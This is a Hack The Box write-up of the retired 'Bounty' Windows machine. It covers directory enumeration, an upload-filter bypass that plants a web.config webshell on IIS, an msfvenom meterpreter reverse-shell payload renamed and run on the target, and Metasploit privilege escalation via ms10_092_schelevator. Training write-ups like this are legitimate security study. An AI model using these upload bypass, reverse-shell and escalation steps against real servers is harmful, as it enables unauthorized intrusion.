Bounty Write-up (HTB)

George O
George O
Oct 27, 2018 · 6 min read

This is a write-up for the recently retired Bounty machine on the Hack The Box platform. If you don’t already know, Hack The Box is a website where you can further your cybersecurity knowledge by hacking into a range of different machines.

TL;DR: .config webshell & Metasploit Privesc. | In this box, I wasted a lot of time trying to get an initial foothold, since it’s rare to have to perform so many different dirb scans in order to find anything useful. However, once I worked out what I had to do, the box was both fun and interesting. Since I don’t know much about Microsoft Server security, Windows boxes are always a challenge to complete.


Let’s begin with an nmap scan, so that we know how to interact with the server:

nmap -sV -sC -oN nmap.log

We now know that the server is serving HTTP on port 80, and that the server is running Microsoft-IIS, which will likely be useful later on.

When visiting the site, we see nothing but an image of a wizard:

I checked the source code of the page, but unfortunately there wasn’t anything interesting there. Since we have nothing else to go on, I started some dirb scans.

We already know that the server is running Microsoft IIS, so I decided to try an IIS-specific wordlist on the page (the following dirb scans have been condensed for clarity):

george@kali:~/htb/bounty$ dirb iis.txt-----------------DIRB v2.22-----------------URL_BASE: iis.txt--------------------- Scanning URL: ----==> DIRECTORY: Entering directory: ----==> DIRECTORY:

I then tried to access these two directories, but was given 403 errors both times.

After doing a bit more research on the aspnet_client folder structure, I discovered that we could work out the system version by fuzzing various system_web directories. As such, I saved the list found here, and used dirb to try them all:

george@kali:~/htb/bounty$ dirb fuzz.txt -r-----------------DIRB v2.22-----------------URL_BASE: fuzz.txtOPTION: Not Recursive--------------------- Scanning URL: ----==> DIRECTORY:

Thanks to this, we know for sure that the server is running Microsoft IIS 2.0.50727. Whilst this might not be useful, it’s always good to enumerate where we can.

That being said, we still get a 403 when trying to access this new-found directory, and so I swapped over to a bigger wordlist:

george@kali:~/htb/bounty$ dirb /usr/share/wordlists/dirb/common.txt -r-----------------DIRB v2.22-----------------URL_BASE: Not Recursive--------------------- Scanning URL: ----==> DIRECTORY:> DIRECTORY:

It looks like we’ve finally found something interesting!

I took a look inside of the uploadedfiles directory, but received another 403 error. However, since this directory exists, we can assume that there is a webpage somewhere where we can upload files.

I then started my final dirb scan on the website in an attempt to find this upload page. Seeing as we know that the server is running Microsoft IIS, I decided to scan for only .aspx files, because they’re very common in systems like this.

george@kali:~/htb/bounty$ dirb /usr/share/wordlists/dirb/common.txt -r -X .aspx-----------------DIRB v2.22-----------------URL_BASE: Not RecursiveEXTENSIONS_LIST: (.aspx) | (.aspx) [NUM = 1]--------------------- Scanning URL: ----+ (CODE:200|SIZE:974)-----------------

It looks like we might have now found the upload page:

Let’s now try uploading test.aspx:

It looks like we’re going to have to either try fuzzing the upload, or enumerate further.

Since fuzzing is never fun, I decided to try and find some more IIS-related file extensions.

Fortunately, I just had to google “microsoft iis file extensions” to find this forum page, which says the following:

We are serving up files for our own application for download from web servers, including IIS. One such file has the .config extension. Turns out that IIS won’t serve this because it thinks it’s a config file of its own.

Let’s now try uploading a .config file, to see if that’s allowed:

It looks like we can successfully upload files! After doing some research on .config files, I came across this article which outlines an easy attack that we can perform (provided that the server executes the file). We’ll do something similar to the technique used in PHP reverse shells, in that we’ll upload the web.config asp file, and the server should interpret whatever we write and show us the output.

We can perform an initial test by uploading a script found on that same website, which should simply add 1 and 2, and output the result:

Now that our POC command execution has worked, let’s make our web.config file more useful.

My final payload has been bodged together from different scripts found online, with the majority of the “good” code taken from here. So, the webshell looks as follows:

With that uploaded, we can open it in the /uploadedfiles/ directory, and start executing some commands:

The file is successfully interpreted, and command execution works!

Now that we have a working webshell, let’s try and upgrade it to a “proper” shell. To do this, we must first generate a payload with msfvenom. I checked the system architecture on the webshell and found that it’s running x64, which means that we can make our payload x64 specific (I spent a couple of hours trying to get a payload running, before learning that this only works when x64 is specified).

Since doesn’t have the msfvenom manpage at the time of writing, I’ll briefly go over it here:

  • msfvenom: Payload generator & encoder.
  • -p windows/x64/meterpreter/reverse_tcp: Sets the payload as a x64 meterpreter reverse shell.
  • LHOST= Sets the “listening” host to our own IP.
  • LPORT=4321: Sets the “listening” port to a port of our choice.
  • -f exe: Sets the payload output format as an exe.
  • -a x64: Specifies the system architecture as x64.
  • -o payload.exe: Sets our output payload name to be “payload.exe”.
  • — platform windows: Specifies the victim’s platform as windows (not necessary), as this is automatically inferred from the payload AFAIK).

Before we upload our payload, we also need to add .config on the end, so that we’re actually allowed to upload it.

I then setup my meterpreter shell, so that I was ready to catch the requests. With that setup, we can upload our payload.exe.config. All we need to do is rename the file and execute it!

> ren c:\inetpub\wwwroot\UploadedFiles\payload.exe.config payload.exe
> c:\inetpub\wwwroot\UploadedFiles\payload.exe

After running this final command, we have a shell!

A successful shell.

And since we now have a shell, we can easily read the flag:

We have the user flag.


Unlike user, root was trivial to get, since Metasploit does all of the work for us.

I first ran Metasploit’s own exploit suggester, to check for any obvious exploits:

run post/multi/recon/local_exploit_suggester

Let’s start off by trying the first one. We can background the session with “background”, and then run this exploit separately:

meterpreter > backgroundmsf exploit(multi/handler) > use exploit/windows/local/ms10_092_schelevatormsf exploit(windows/local/ms10_092_schelevator) > set session 4msf exploit(windows/local/ms10_092_schelevator) > set lhost

And then, we can run the exploit…

…and read the root flag:

CTF Writeups

A collection of write-ups for various systems.

George O

Written by

George O

CTF Writeups

A collection of write-ups for various systems.

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